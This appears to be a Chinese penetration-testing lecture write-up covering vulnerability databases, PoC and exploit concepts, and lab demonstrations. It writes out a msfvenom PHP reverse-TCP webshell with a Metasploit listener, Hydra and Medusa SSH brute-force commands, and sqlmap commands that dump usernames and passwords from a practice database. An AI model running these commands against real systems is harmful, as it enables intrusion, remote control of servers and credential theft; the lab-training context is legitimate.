![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371415.png)
1、漏洞数据库和漏洞扫描
2、msf反弹连接获得shell
3、Burp Suite暴破web密码
4、Hydra暴破SSH密码
5、sqlmap渗透数据库
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371422.png)
01漏洞数据库
漏洞数据库平台
国外的:https://www.cvedetails.com/ 但是美国开始不向中国共享漏洞了。而且只让美国掌握也不好。比如之前的阿里云报漏洞事件
我国的cnvd: https://www.cnvd.org.cn/
也可以有360的公众号360漏洞云,奇安信nox.qianxin.com
你知道他有漏洞了,但是他并没有告诉你怎么去攻击他,因为这种漏洞数据库他没有这个义务,
甚至说他为了要保护别人的系统,它是严格的不公布的是吧,那么我现在知道了某某某系统有这样的漏洞
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371417.png)
POC叫做proveof,of concept,concept,翻译过来叫做概念验证,概念验证是什么意思呢,其实说简单一点,就是你不是说我我用了这个组件就可能存在这个漏洞吗,你给我证明一下,是吧,你,现在拿个东西来搞一搞,如果你可以真的可以执行任意的代码,你就说我有一个,有一个远程代码执行的漏洞,我是信服你了,对吧,如那不然的话,我就不能,不能,不能相信你说的话,所以这样的一个东西呢,我们把它叫做POC,还有另外一个词呢,叫做each叉,PE是exploitit exploitit这样的一个单词的缩写,Exploit是什么呢,是利用攻击,利用其实他们在我们的漏洞复现的这个场景里面是同一个意思,
就是总而言之,你要做点什么事情,然后你就能告诉我,或者向我证明这个漏洞是存在的,那它有可能是一个工具,有可能是一段代码,或者有可能是一段HDDP的一个配漏的,或者是一个什么样的利用流程
利用工具数据库https://www.exploit-db.com/
其实这些人他们去公布这个利用脚本,他不是倡导你用这个脚本去攻击别人,而是说你可以用我这种方式去检测一下你的系统,它是不是存在漏洞,如果是的话,赶紧去修复它,这个才是我们学习这些技术
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371425.png)
比如这个是某个路由器某个版本存在漏洞
也就是说你们家里的路由器有漏洞了,我可以用这个去控制你的那个路由器,然后入侵你,你们的家庭的内网,或者你们公司的这个内网,他给我的是一个什么东西呢,很显然这是一段Python代码
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371418.png)
,对吧,Python代码也就是说我现在只要把你的路由器的IP填在这里,OK,我就可以控制你的路由器了,我就可以控制你的网络了,这样的一个东西叫做PoC,
你就把它理解为利用工具就行了,不管它是用Python代码写的,还是用别的什么代码写的,反正只要我运行这个东西,我就能够去攻击到你的系统,这个东西就叫PoC,
我现在我想法非常的大胆,我的大想想法大胆到哪里,我去哪里找一些系统,他就用了这个糊涂,你不能让我大海捞针是不是,我去哪里找一些系统,就使用了这个阿帕奇的,Deep plane这种系统是吧,我去哪里找那些系统,使用了这个300的服务的,OK,我去哪里找呢,我们是不是要有一个叫做那个,
网络空间测绘的东西,对吧,那么把这个漏洞和资产以及它的利用方式集合起,集合起来的东西呢,我们把它叫做漏洞文库,来,我又带同学们来看看,比如说这里有一个漏洞文库呢,叫做佩奇文库
可以用佩奇文库
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371420.png)
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371426.png)
还可以一条龙吗?
03漏洞扫描工具
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371419.png)
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371421.png)
但是这些肯定都不是开源的,要钱的。
当然有免费方法?https://github.com/k8gege/Ladon
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371427.png)
那我们也有一个这种开源的免费的,就是这个MSF,它其实这些东西也都有也都有,当然不可能不不如那些商业的强大,或者更新的那么快,但是它的功能基本上也也还是能用的
04msf反弹连接
那今天呢,我给同学们演示的是一个MSF的反弹连接的案例,这个场景是什么样的呢,比如说有一个网,一个网站,它有一个文件上传的功能,但是它没有对它的文件的类型以及执行的权限做任何的过滤,我可以去放一个木马上传到的它的网站里面,然后就可以直接控制它,这是一种情形,还有一种情形呢,虽然它没有一个上传的功能,但是这个网站呢,它有一个文件保存或者文件写入的功能,我就可可以把一个包含恶意代码的一个后门,后门程序写到他的服务器上面去,然后我就可以去控制他的电脑
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371428.png)
打开kali生成一个木马shell.php
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371429.png)
生成payload
注意下面ip都是kali攻击机的IP
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.132 lport=7777 -o shell.php
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371430.png)
kali里面生成一个木马文件shell.php.
然后下载下来,上传到你的靶机
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371431.png)
测试我们就直接下载上传,实际应用场景是利用漏洞等上传
等待鱼儿
在kali里面启动7777监听
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371432.png)
msfconsole
然后一步一步的来
第一步:使用监听模块 use exploit/multi/handler
第二步:将payload设置成刚才一模一样的set payload php/meterpreter/reverse_tcp
第三步:另外两个参数也要对应起来,本机的IP就是我的这个Kelly的IP,本机的端口呢,就是我指定的那个端口,跟刚才是一模一样的,最后我只要run一下就可以了
set lhost 192.168.142.132
set lport 7777
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/f8254d8b52c371434.png)
比较简单,我们这里做的仅仅是用MSF生成了一个木马,传到别人的web服务器里面去,然后控制了它的服务器,我们做的是这个事情
更多查看视频教程
链接: https://pan.baidu.com/s/1B0F4OKE-3vufkdIEiFr5QQ?pwd=sbia
05BurpSuite暴破web密码
这个场景呢,就是当我们访问到了别收集到了别人的一个登录后台的时候,我没有密码,我怎么想要去登录进去是吧
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/530c64d9b8fe5ff.png)
有些竟然没有验证码,最适合爆破了
那么接下来我们要做的事情呢,就是怎么样去破解它的密码
我再说一下,同学们,我这里可没有教大家去做这样的一个事情,我今天在课堂里面仅仅是做一个安全的演示,如果说大家不学习网络安全法,去做一些攻击别人的系统,窃取别人数据,或者影响别人服务正常运行的一些行为造成的后果,要由大家自己来承担的,我我这里仅仅是告诉大家怎么去提升大家的安全能力
启动一个bp
![](https://img.51yhyh.com/flwp-content/uploads/2022/12/530c64d9b8fe5ff1.png)
06Hydra暴破Linux密码
LinuxSSH协议密码暴破
hydra -L username.txt -P password.txt 192.168.142.66 ssh
medusa -M ssh -h 192.168.142.66 -u root -P password.txt
07sqlmap渗透数据库
注意要先启动Apache和MySQL
sqlmap -u “http://192.168.142.1/sqli-labs/Less-1/?id=1” –dbs
sqlmap -u “http://192.168.142.1/sqli-labs/Less-1/?id=1″ –level=5 –risk=3 –dbms=mysql-D”security” –tables
sqlmap -u “http://192.168.142.1/sqli-labs/Less-1/?id=1″ –level=5 –risk=3 –dbms=mysql-D”security”-T”users” –columns
sqlmap -u “http://192.168.142.1/sqli-labs/Less-1/?id=1″ –level=5 –risk=3 –dbms=mysql-D”security”-T”users”-C”password,username” –dump